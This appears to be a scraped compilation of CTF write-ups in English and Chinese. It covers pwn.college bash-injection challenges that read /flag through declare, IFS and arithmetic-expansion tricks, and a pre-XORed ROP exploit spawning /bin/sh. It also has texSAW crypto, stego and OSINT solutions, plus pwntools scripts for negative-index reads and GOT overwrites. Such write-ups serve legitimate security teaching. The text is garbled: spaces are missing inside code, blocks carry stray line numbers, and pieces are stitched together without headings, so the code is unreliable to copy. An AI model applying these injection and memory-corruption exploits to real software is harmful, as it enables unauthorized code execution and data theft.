The shell is as mysterious as it is powerful. As a first stop in our
journey, we will explore concepts of variable expansion, the pitfalls
around quoting (and lack thereof!), and the raw power of globbing. Stay
strong, and follow the PATH.
echo"Goodbye!" ubuntu@expansion~path-of-the-unquoted:~$ ta no sessions [exited] ubuntu@expansion~path-of-the-unquoted:~$ /challenge/run 'a -o a' pwn.college{****************************************} Goodbye!
echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM" [ "$#" -eq 3 ] || exit 2
if [ "$3" != "fortune" ] then echo"Only 'fortune' is supported right now!" exit 1 else cp /usr/games/fortune $WORKDIR PROGRAM="$WORKDIR/fortune" fi
declare -- "$1"="$2" $PROGRAM ubuntu@expansion~enigma-of-the-environment:~$ /challenge/run PROGRAM "/bin/cat /flag" fortune Welcome! This is a launcher that lets you set an environment variable and then run a program! Usage: /challenge/run VARNAME VARVALUE PROGRAM pwn.college{****************************************}
echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM" [ "$#" -eq 3 ] || exit 2
if [ "$3" != "fortune" ] then echo"Only 'fortune' is supported right now!" exit 3 else cp /usr/games/fortune $WORKDIR PROGRAM="$WORKDIR/fortune" fi
[ "$1" = "PROGRAM" ] && exit 4 declare -- "$1"="$2" $PROGRAM ubuntu@expansion~voyage-of-the-variable:~$ /challenge/run "PROGRAM[0]""/bin/cat /flag" fortune Welcome! This is a launcher that lets you set an environment variable and then run a program! Usage: /challenge/run VARNAME VARVALUE PROGRAM pwn.college{****************************************}
echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM" [ "$#" -eq 3 ] || exit 2
if [ "$3" != "fortune" ] then echo"Only 'fortune' is supported right now!" exit 3 else cp /usr/games/fortune $WORKDIR PROGRAM="$WORKDIR/fortune" fi
ubuntu@expansion~dance-of-the-delimiters:~$ echo'#!/bin/bash' > /tmp/tmp ubuntu@expansion~dance-of-the-delimiters:~$ echo'cat /flag' >> /tmp/tmp ubuntu@expansion~dance-of-the-delimiters:~$ chmod +x /tmp/tmp ubuntu@expansion~dance-of-the-delimiters:~$ /challenge/run IFS "." fortune Welcome! This is a launcher that lets you set an environment variable and then run a program! Usage: /challenge/run VARNAME VARVALUE PROGRAM pwn.college{****************************************}
echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM" [ "$#" -eq 3 ] || exit 2
if [ "$3" != "fortune" ] then echo"Only 'fortune' is supported right now!" exit 3 else cp /usr/games/fortune $WORKDIR PROGRAM="$WORKDIR/fortune" fi
ubuntu@expansion~symphony-of-separation:~$ /challenge/run 'x[$(/bin/cat /flag)]' 1 fortune Welcome! This is a launcher that lets you set an environment variable and then run a program! Usage: /challenge/run VARNAME VARVALUE PROGRAM /challenge/run: line 20: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}") Today is the last day of your life so far.
echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM" [ "$#" -eq 3 ] || exit 2
if [ "$3" != "fortune" ] then echo"Only 'fortune' is supported right now!" exit 3 else cp /usr/games/fortune $WORKDIR PROGRAM="$WORKDIR/fortune" fi
ubuntu@expansion~saga-of-sanitization:~$ /challenge/run 'x[$(</flag)]' 1 fortune Welcome! This is a launcher that lets you set an environment variable and then run a program! Usage: /challenge/run VARNAME VARVALUE PROGRAM /challenge/run: line 21: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}") /challenge/run: line 22: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}") To be or not to be. -- Shakespeare To do is to be. -- Nietzsche To be is to do. -- Sartre Do be do be do. -- Sinatra
if [[ "$#" -ne 1 ]] then echo"Usage: $0 SKILL_LEVEL" exit 1 fi
if [[ "$1" -eq 1337 ]] then echo"Not skilled enough!" exit 2 fi
echo"You are quite skilled!"
1 2 3
ubuntu@expansion~tale-of-the-test:~$ /challenge/run 'x[$(</flag)]' /challenge/run: line 9: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}") You are quite skilled!
Your Shattered Sanity
word splitting
Arithmetic Evaluation Error
当 -v 操作符去检查一个带有数组下标的变量时(例如 -v
var[index]),为了确定具体的下标是多少,Bash 会强制对 index 进行算术求值
(Arithmetic Evaluation)
charset = string.printable.strip().replace("*", "").replace("?", "") flag = "pwn.college{"
for attempt in itertools.count(start=1): print(f"Attempt {attempt}: {flag}") for c in charset: # 用 /dev/shm 来传递数据提高 I/O 速度 # or /tmp with open("/dev/shm/tmp", "w") as f: f.write(flag + c + "*") p = process(["/challenge/run", "/dev/shm/tmp"]) if b"Got it!"in p.recvall(timeout=1): flag += c if"}" == c: print(f"\n[+] Flag: {flag}") exit(0) break
# This disables command injection. If you can find a bypass of it, let Zardus know! set -T readonly BASH_SUBSHELL # props to HAL50000 for the bypass necessitating this fix trap'[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG
if (( RESPONSE == CHALLENGE )) then echo"Success! Here's part of the flag:" cat /flag | head -c10 else echo"Wrong!" cat /flag | md5sum fi
# props to HyperCube for the idea for this challenge
# HINT: This challenge uses /bin/bash. Double-check which bash you do your prep work in...
PATH=/usr/bin RESPONSE="$1"
exec 2>/dev/null # props to amateurhour for this unintended solve
# This disables command injection. If you can find a bypass of it, let Zardus know! set -T readonly BASH_SUBSHELL # props to HAL50000 for the bypass necessitating this fix trap'[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG
if (( RESPONSE == RANDOM )) then echo"Success!" cat /flag else echo"Wrong!" rm /flag fi
# This disables command injection. If you can find a bypass of it, let Zardus know! set -T readonly BASH_SUBSHELL # props to HAL50000 for the bypass necessitating this fix trap'[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG
if (( RESPONSE == CHALLENGE )) then echo"Success!" cat /flag else echo"Wrong!" #cat /flag | md5sum fi
Key Generation: In main, the
program takes the current Unix timestamp and rounds it down to the
nearest minute: time_val = (time(0) / 60) * 60. This value
is then passed into read_user_input.
The XOR Loop: Inside
read_user_input, the program reads up to 160 bytes into a
heap buffer. It then iterates through the input, XORing every 4-byte
chunk with the time_val. Crucially, the
time_val increments by 1 after every 4 bytes.
Buffer Overflow: After XORing, the program uses
memcpy to copy the processed buffer into a local stack
buffer (ebp-0x40). Since the stack buffer is only 64 bytes
but memcpy copies up to 160 bytes, we have a
stack-based buffer overflow.
3. Exploitation Strategy
Step 1: Leaking the Key The program XORs our input
and then calls write to send 40 bytes of the stack buffer
back to us. To bypass the XOR obfuscation, we first send a string of
null bytes (\x00). Because x ^ 0 = x, the
server returns the XOR key itself. This allows us to recover the exact
time_val used by the server.
Step 2: Crafting the Payload We need to overwrite
the return address at ebp + 4. The distance from the buffer
start (ebp - 0x40) to the return address is 68
bytes.
Our desired stack layout after memcpy should be:
[68 bytes of padding] + [Address of system@plt] + [4 bytes of dummy return] + [Address of "/bin/sh"]
Step 3: Pre-XORing Because the program will XOR our
input before it hits the stack, we must "pre-XOR" our payload. If the
program expects Payload ^ Key = Stack, we must send
Payload ^ Key so that when the server XORs it with
Key, the result on the stack is our desired
Payload.
# Function to XOR payload according to binary logic defxor_payload(data, key_val): res = bytearray() for i inrange(0, len(data), 4): chunk = data[i:i+4] # Calculate the key for this 4-byte chunk key = p32((key_val + (i // 4)) & 0xFFFFFFFF) for j inrange(len(chunk)): res.append(chunk[j] ^ key[j]) returnbytes(res)
# 3. Build and send the Pre-XORed payload # 68 bytes of padding, then system(), dummy ret, then pointer to "/bin/sh" # 在 32 位 Linux 环境下,标准的 C 语言函数调用遵循 cdecl 约定。如果这是一个合法的 call system 指令,CPU 会在跳转之前做一件事:把 call 指令的下一条指令地址 push 到 stack 上,作为 Return Address。然后紧接着才是函数的参数。 payload = b'A' * 68 + p32(system_plt) + b'EXIT' + p32(bin_sh_addr) target.send(xor_payload(payload, leaked_time_val))
Since gets() does not check the input length, we can
provide a payload larger than 32 bytes to overwrite the saved
instruction pointer on the stack.
3. Exploitation Strategy
The drive() function is our target:
1 2 3 4 5
int __fastcall drive(__int64 a1) { if (a1 != 0x48435344) // "HCSD" returnputs("Need the secret key to deliver this package.\n"); return system("/bin/sh"); }
To get a shell, we need to call drive(0x48435344). In
the x86-64 calling convention, the first argument is passed in the
RDI register.
Our ROP Chain Plan:
Overwrite the return address with the address of a
pop rdi; ret gadget.
Provide the value 0x48435344 as the next item on the
stack (to be popped into RDI).
Include a ret gadget for stack alignment (often
necessary for system() calls in 64-bit glibc).
There's a spy amongst us! We found one of their messages, but can't
seem to crack it. For some reason, they wrote the message down
twice.
The challenge provides two large blocks of ciphertext, both starting
with what appears to be an encrypted flag.
Solution
1. Identifying the Cipher
We are given two different ciphertexts that supposedly represent the
same message. This immediately suggests a polyalphabetic substitution
cipher, most likely Vigenere, where different parts of
the key are being applied to the same plaintext.
2. Deducing the Key Prefix
We know that the flags in this CTF follow the format
texsaw{...}. By comparing the ciphertext prefixes with the
known plaintext texsaw, we can calculate the key characters
used at the start of each block (\(Key =
Ciphertext - Plaintext\)).
Block 1 Prefix (twhsnz):
t - t = A (0)
w - e = S (18)
h - x = K (10)
s - s = A (0)
n - a = N (13)
z - w = D (3)
Key Prefix:ASKAND
Block 2 Prefix (brassg):
b - t = I (8)
r - e = N (13)
a - x = D (3)
s - s = A (0)
s - a = S (18)
g - w = K (10)
Key Prefix:INDASK
3. Recovering the Full Key
The fragments ASKAND and INDASK strongly
suggest a famous quote from the Bible (Matthew 7:7):
"Ask, and it shall be given you; seek, and ye
shall find: ask, and..."
By removing spaces and punctuation, we derive the full 41-character
repeating key:
ASKANDITSHALLBEGIVENYOUSEEKANDYESHALLFIND
4. Decrypting the Message
Using the recovered key, we can decrypt the rest of the message. The
first message block uses an offset of 0, while the second block starts
at a different position in the key loop.
Decryption reveals a message from a spy:
"they know im here, and its only a matter of time before they
find out who i am. tell the general what the flag is as soon as
possible..."
The signature at the bottom, - john cairncross, refers
to the real-life British intelligence officer who was a double agent for
the Soviet Union during World War II.
I can't find my original house key anywhere! Can you help me find it?
Here's a picture of my keys the nanny took before they were lost. It
must be hidden somewhere!
Flag format:texsaw{flag_here}
Solution
1. Extracting Hidden Files
Using binwalk, we can identify and extract any embedded
files:
1
❯ binwalk -e Temoc_keyring.png
After extraction, we have two similar images:
Temoc_keyring(orig).png
where_are_my_keys.png
Checking them with pngcheck confirms they are both
valid, but their file sizes and compression ratios differ.
2. Pixel Comparison
At first glance, the two images appear identical. However, the
difference in file size suggests that data might be hidden in the pixel
values themselves. We can use a Python script with the
Pillow library to compare them:
# Check the first row for differences diff_indices = [x for x inrange(width) if img1.getpixel((x, 0)) != img2.getpixel((x, 0))] print(f"Differences found at X coordinates: {diff_indices}")
Running this reveals exactly 131 differing pixels, all located within
the very first row (y = 0).
4. Decoding the Steganography
The pattern of differing pixels suggests a binary encoding. We can
treat each pixel in the first row as a bit:
Bit 1: If the pixels at (x, 0) are
different.
Bit 0: If the pixels at (x, 0) are
identical.
We then group these bits into 8-bit bytes and convert them to ASCII
characters to reveal the flag.
bits = [] for x inrange(img1.size[0]): if img1.getpixel((x, 0)) != img2.getpixel((x, 0)): bits.append(1) else: bits.append(0)
# Convert bits to bytes and then to ASCII flag = "" for i inrange(0, len(bits), 8): byte = bits[i:i+8] char_code = int("".join(map(str, byte)), 2) if char_code == 0: break flag += chr(char_code)
Examining the spreadsheet, specifically Row 112, we find the
conditions for a valid flag: - F > 0.5,
L < 0.5, A > 0.5,
G < 0.5
Since the output layer uses a Sigmoid activation
function: - To get output > 0.5, the input to the
sigmoid (z3) must be positive (> 0). - To
get output < 0.5, the input to the sigmoid
(z3) must be negative (< 0).
Analyzing the final weights (W3) and biases
(b3), we find that all weights in W3 are large
(300 or -300) and the biases are small (between 0.49 and 0.59). For
these specific constraints to be met, the output of Layer 2
(a2) must be an extremely small positive number, very close
to zero.
2. Reverse-Engineering Layer 2
Layer 2 uses the ReLU activation function:
a2 = ReLU(z2), where
z2 = sum(a1 * W2) + b2.
Key observations: - All weights in W2 are
negative (e.g., -0.954667). - The bias
b2 is a very small positive number (approx.
1/254). - a1 is the output of Layer 1's ReLU,
so a1 >= 0.
If any value in a1 is a positive number, its product
with the negative weights in W2 will likely make
z2 negative, resulting in a2 = 0 (via ReLU).
To maintain that tiny positive value for a2, we conclude
that all activation values in a1 must be forced to
zero.
3. Analyzing Layer 1
To force a1 = 0, we must ensure that
z1 = x * W1 + b1 <= 0 for all neurons in the first
layer.
Looking closely at the biases (b1), they appear to be
"random" decimals: - h1[0] = -0.795276 -
h1[3] = -0.90551 - h1[12] = -0.968504 -
h1[23] = 0.91339
If we multiply these values by 127 (the maximum
standard ASCII value), they resolve into integers. This reveals that
W1 and b1 are essentially implementing
boundary checks for each character of the input string.
Converting these non-zero biases back to ASCII: -
-0.795276 * 127\(\approx\)-101\(\rightarrow\)e - -0.90551 * 127\(\approx\)-115\(\rightarrow\)s - -0.968504 * 127\(\approx\)-123\(\rightarrow\){ - 0.91339 * 127\(\approx\)116\(\rightarrow\)t
4. Reconstructing the Flag
Extracting all valid b1 values and converting them
yields a multiset of 22 characters:
t, e, x, s, a, w, {, }, s, v, r, r, r, 3, 3, 3, 3, _, n, l, 4, u
We know the flag format is texsaw{flag}. Removing the
wrapper characters (t, e, x, s, a, w, {, }), we are left
with: s, v, r, r, r, 3, 3, 3, 3, _, n, l, 4, u
Rearranging these characters (Leetspeak for "neural reverse") gives
us the inner flag content.
First, crack this initial cryptogram. Now, apply OSINT tools to find
who authors that original script.
Flag format:txsaw{first_last} (e.g.,
txsaw{john_scalzi})
Solution
1. Cryptanalysis:
Substitution Cipher
The challenge begins with a large block of ciphertext:
1
Azza wfahv ztu. N rnvy, bndfah na zbfaztv vztak, n vztak ndfa uz n dcnqza zw n uzlvfa, icfuv nmztu...
Using frequency analysis or an automated tool like quipqiup, we can determine that this is
a simple substitution cipher. The decoded plaintext
is:
Noon rings out. A wasp, making an ominous sound, a sound akin to a
klaxon or a tocsin, flits about. Augustus, who has had a bad night, sits
up blinking and purblind. Oh what was that word (is his thought) that
ran through my brain all night, that idiotic word that, hard as I'd try
to pun it down, was always just an inch or two out of my grasp...
2. OSINT: Identifying the
Source
The title of the challenge, "Idiosyncratic French",
and the nature of the decoded text provide vital clues.
Searching for the decoded string—specifically unique phrases like
"A wasp, making an ominous sound, a sound akin to a klaxon or a
tocsin"—reveals that this is an excerpt from the novel "A
Void".
3. The "Idiosyncrasy":
Lipograms
What makes this text "idiosyncratic"? "A Void" is
the English translation of the French novel "La
Disparition". The defining characteristic (idiosyncrasy) of
both the original and the translation is that they are
lipograms: they are written entirely without the letter
"e".
4. Finding the Author
The author of the original French novel, La Disparition, is
the famous French writer Georges Perec.
D'oh, I overslept and missed most of the race! But wait, my friend
took a picture while I was out, but I can't tell who's in the lead. Can
you help me figure out the two cars that are in the lead? Usually they
like to twin around this time of night...
Flag format:texsaw{num1_num2} (e.g.,
texsaw{21_44})
Analysis
1. Image Metadata (EXIF)
Analyzing the provided image (or the metadata extracted from it)
reveals several critical data points:
Attribute
Value
Analysis
Camera Model
Samsung Galaxy S24 Ultra
High-end mobile sensor, likely captured
with 3x optical zoom.
Date/Time
2026:01:24 22:14:12
Captured during the night of January 24th,
2026.
GPS Latitude
29° 11' 4.79" N
Geolocation leads to Florida, USA.
GPS Longitude
81° 4' 28.43" W
Specifically, the Daytona
International Speedway.
Exposure
1/30s, f/2.4, ISO 320
Nighttime setting with motion blur,
typical of racetrack photography.
2. Event Identification
Plugging the coordinates and the date into a search engine confirms
the event: The 2026 Rolex 24 at Daytona.
This is a premier 24-hour endurance race held annually in late
January at the Daytona International Speedway. The timestamp (10:14 PM
EST on Saturday) puts the photograph roughly 8-9 hours into the 24-hour
race.
3. The "Twinning" Clue
The challenge description mentions: "Usually they like to twin
around this time of night..."
In the context of the IMSA WeatherTech SportsCar Championship (which
runs the Rolex 24), "twinning" refers to teammate cars running in close
formation. During the 2026 season, the Porsche Penske
Motorsport team, running the Porsche 963 in the GTP class, was
famous for their identical "mirror" liveries and consistent pace that
often saw them running 1-2 on the track.
The two Porsche Penske cars are:
Car #6
Car #7
4. Verification
Looking at the race leaders during the night shift of the 2026 Rolex
24, the #6 and #7 Porsche 963s were indeed dominant. To distinguish them
at night, teams use colored LED "Lumirank" displays:
Car #7: Blue LED
Car #6: Red LED
The "twinning" behavior is a signature of the Penske Porsches as they
manage the gap and maintain the lead together.
Check out our IRC server and run the command /motd!
Server:irc.texsaw.org
Solution
To solve this challenge, we need to connect to the texSAW IRC server
and view the "Message of the Day" (MOTD), which is a common place for
CTF organizers to hide initial information or rules.
1. Install an IRC Client
1 2 3 4
# I use Arch BTW paru -S weechat # or paru -S irssi
2. Connect to the Server
Launch your client and add the TexSAW server to your configuration.
This makes it easier to reconnect later.
1 2 3
# Example using irssi /server add texsaw irc.texsaw.org /connect texsaw
3. Find the Flag
Once you've successfully connected, the server will usually send the
MOTD automatically. If you miss it, manually request it with the
following command:
1 2
/motd # texsaw{w31c0M3_t0_t3xSAW_2O26!}
Useful IRC Commands
While you're on the server, you might want to join the discussion or
interact with other participants:
hacker@program-security~bounds-breaker-easy:~$ nm /challenge/bounds-breaker-easy | grep win 000000000040198c T win
win -> 0x40198c
这里真正要打的不是覆盖本身,而是 signed / unsigned
conversion。
The standard C library uses unsigned integers for sizes, for example
the last argument to read, memcmp,
strncpy, and friends. By contrast, the default integer
types like short, int, and long
are signed.
换句话说,这题的真正切入点是:检查发生在 signed
world,危险调用发生在 unsigned
world。一旦这两个世界之间发生类型转换,检查就失效了。
Overflow a buffer and smash the stack to obtain the flag, but this
time bypass another check designed to prevent you from doing so!
Analysis
核心漏洞是 32-bit integer multiplication
overflow。
The imul eax, edx check uses 32-bit multiplication. If
record_num = 42949673 and record_size = 100,
then 42949673 * 100 = 4294967300 = 0x100000004. After
truncation to 32 bits, the result becomes 0x00000004, which
happily passes the <= 119 check.
The low bytes of the char* differ between runs because
of ASLR, but the higher bytes stay aligned closely enough that a short
partial overwrite still works.
flag is near BSS 0x5060 (obj.bssdata)
need_overwrite = 0x7fff67f0f7b0
buffer_address = 0x7fff67f0f760
padding = 80 bytes
We overwrite the low 2 bytes of the pointer with
0x5060.
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
#!/usr/bin/env python3 import itertools from pwn import *
for i inrange(-185, -170): p = process('/challenge/anomalous-array-easy') p.sendlineafter(b"Which number would you like to view?", str(i).encode()) p.recvuntil(b"Your hacker number is ") val = p.recvline().strip().decode().zfill(16) chunk = bytes.fromhex(val)[::-1] flag += chunk p.close() ifb"}"in chunk: break
Same approach as easy version, using a negative array index to read
the flag from memory.
pwn.college{...}
Now You GOT It (Easy)
Leverage an Array to obtain the flag.
Analysis
这题从越界读写切到 GOT overwrite。
win function: 0x1a72
GOT base: 0x5000
array base: 0x57c0
offset: 0x5000 - 0x57c0 = -0x7c0 (-1984 bytes)
index: -1984 / 8 = -248
We overwrite putchar@GOT with the address of
win().
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
from pwn import *
context.arch = "amd64" context.log_level = "info"
elf = ELF("/challenge/now-you-got-it-easy") p = process("/challenge/now-you-got-it-easy")
# Calculate index based on binary layout # puts_addr - array_addr index = (elf.got["putchar"] - 0x57C0) // 8
p.recvuntil(b"FREE LEAK: win is located at: ") win_addr = int(p.recvline().strip(), 16)
p.sendlineafter(b"Which number would you like to view? ", str(index).encode()) p.sendlineafter(b"What number would you like to replace it with? ", str(win_addr).encode())
elf = ELF("/challenge/now-you-got-it-hard") p = process("/challenge/now-you-got-it-hard")
# array starts at 0x5dd0 relative index = (elf.got["puts"] - 0x5dd0) // 8
p.recvuntil(b"FREE LEAK: win is located at: ") win_addr = int(p.recvline().strip(), 16) + 0x14
p.sendlineafter(b"Which number would you like to view? ", str(index).encode()) p.sendlineafter(b"What number would you like to replace it with? ", str(win_addr).encode())